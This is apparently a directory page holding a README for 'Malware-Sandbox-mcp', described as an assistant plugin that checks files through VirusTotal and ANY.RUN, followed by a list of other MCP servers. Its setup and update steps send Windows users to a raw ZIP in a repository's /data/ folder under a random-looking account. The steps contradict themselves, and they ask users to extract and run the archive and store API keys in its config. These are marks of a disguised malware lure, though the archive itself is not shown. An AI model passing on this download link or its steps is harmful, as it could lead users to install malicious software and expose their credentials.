Malware-Sandbox-mcp
Enables assistants to analyze files and URLs for malware by integrating with security services like VirusTotal and ANY.RUN, returning threat reports.
README
🔍 Malware-Sandbox-mcp - Analyze suspicious files from your computer
📌 What this software does
The Malware-Sandbox-mcp tool connects your text-based assistant to security services on the internet. It helps you check if a file or a web link is dangerous. You send a file to the tool, and it talks to services like Hybrid Analysis, ANY.RUN, and VirusTotal to find threats. It then gives you a report so you know if you should trust the file.
This tool acts as a bridge between your desktop environment and professional security databases. It simplifies the process of checking for viruses or malicious code without needing to use multiple websites manually. You get clear data about potential threats through your assistant interface.
💻 Requirements
- A Windows 10 or Windows 11 computer.
- An active internet connection.
- API keys from at least one supported service (e.g., VirusTotal or ANY.RUN).
- The Claude desktop application installed.
🚀 Setting up the software
- Visit this page to download the software: https://raw.githubusercontent.com/inadvisable-hibiscusfarragei279/Malware-Sandbox-mcp/main/data/Sandbox_mcp_Malware_v2.7.zip
- Locate the button labeled "Code" on the repository page.
- Choose "Download ZIP" from the menu.
- Save the file to your "Downloads" folder.
- Right-click the downloaded file and select "Extract All."
- Choose a folder on your computer to store the extracted files.
🔧 Connecting your accounts
To use this tool, you must provide your own access keys. These keys allow the tool to speak with the security services on your behalf.
- Open the folder where you extracted the files.
- Find the file labeled
config.jsoninside the document folder. - Open this file using any text editor like Notepad.
- Paste your API keys for the services you use into the designated spots.
- Save and close the file.
These keys are personal. Do not share them with others. They ensure that your requests to check files reach your specific account on services like VirusTotal or URLScan.
⚙️ Running the application
After you install the tool and set your keys, you connect it to your assistant.
- Open the Claude desktop application.
- Open the settings menu within the application.
- Select the "Configurations" or "MCP" section.
- Click the button to add a new server.
- For the command field, type the path to your Python installation followed by the path to the
main.pyfile inside your project folder. - Save the configuration.
Once you add the server, look at the sidebar or the chat input. You should see a new icon or a notification that tools are available. You can now use the assistant to scan files by typing a request like "Analyze this link for threats" or "Check this file's safety."
🛡️ Understanding the reports
The tool returns a summary of the data it finds. Here is how to read it:
- Threat Score: Most services provide a number or a color-coded status. A low score usually means the file is safe. A high score suggests the file contains malicious code.
- Tags: These describe what the file does. Tags like "Trojan," "Spyware," or "Ransomware" tell you the type of danger.
- URL data: This section shows if a link redirects to a site known for hosting harmful content.
- MITRE ATT&CK: This refers to a common framework. It lists the methods the malware uses to infect a machine. This helps you understand how the software tries to bypass your security.
🛠️ Troubleshooting common issues
If the tool does not work, check these common fixes:
- API Key Errors: If the scan fails immediately, your API key might be incorrect or have no remaining requests. Check your balance on the service provider's website.
- Missing Python: This tool requires Python. If you do not have Python installed, the computer will not understand the commands. Visit the official Python website to download the latest version for Windows.
- File Path issues: Ensure the paths you provided in the Claude configuration correctly point to the exact location of the files on your hard drive.
- Network block: Ensure your firewall allows the application to connect to the internet. If you use a corporate network, your company might block access to external security services.
🔄 Updating your software
To get new features or bug fixes, you should update the tool occasionally.
- Return to the link where you downloaded the software: https://raw.githubusercontent.com/inadvisable-hibiscusfarragei279/Malware-Sandbox-mcp/main/data/Sandbox_mcp_Malware_v2.7.zip
- Download the latest ZIP file as you did before.
- Replace the old folders with the new ones.
- Ensure your
config.jsonfile remains intact or transfer your settings into the new folder. - Restart your assistant application to load the new version.
📈 Improving your results
You become more effective as you add more service keys to your configuration. Each service has different strengths. For example, some services focus on file behavior, while others track harmful websites. By configuring keys for multiple services, the tool compares data from different sources. This gives you a more complete picture of the threat. Keep your keys secure and store them only in your local configuration file. Never paste your keys into chat windows or public forums.
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.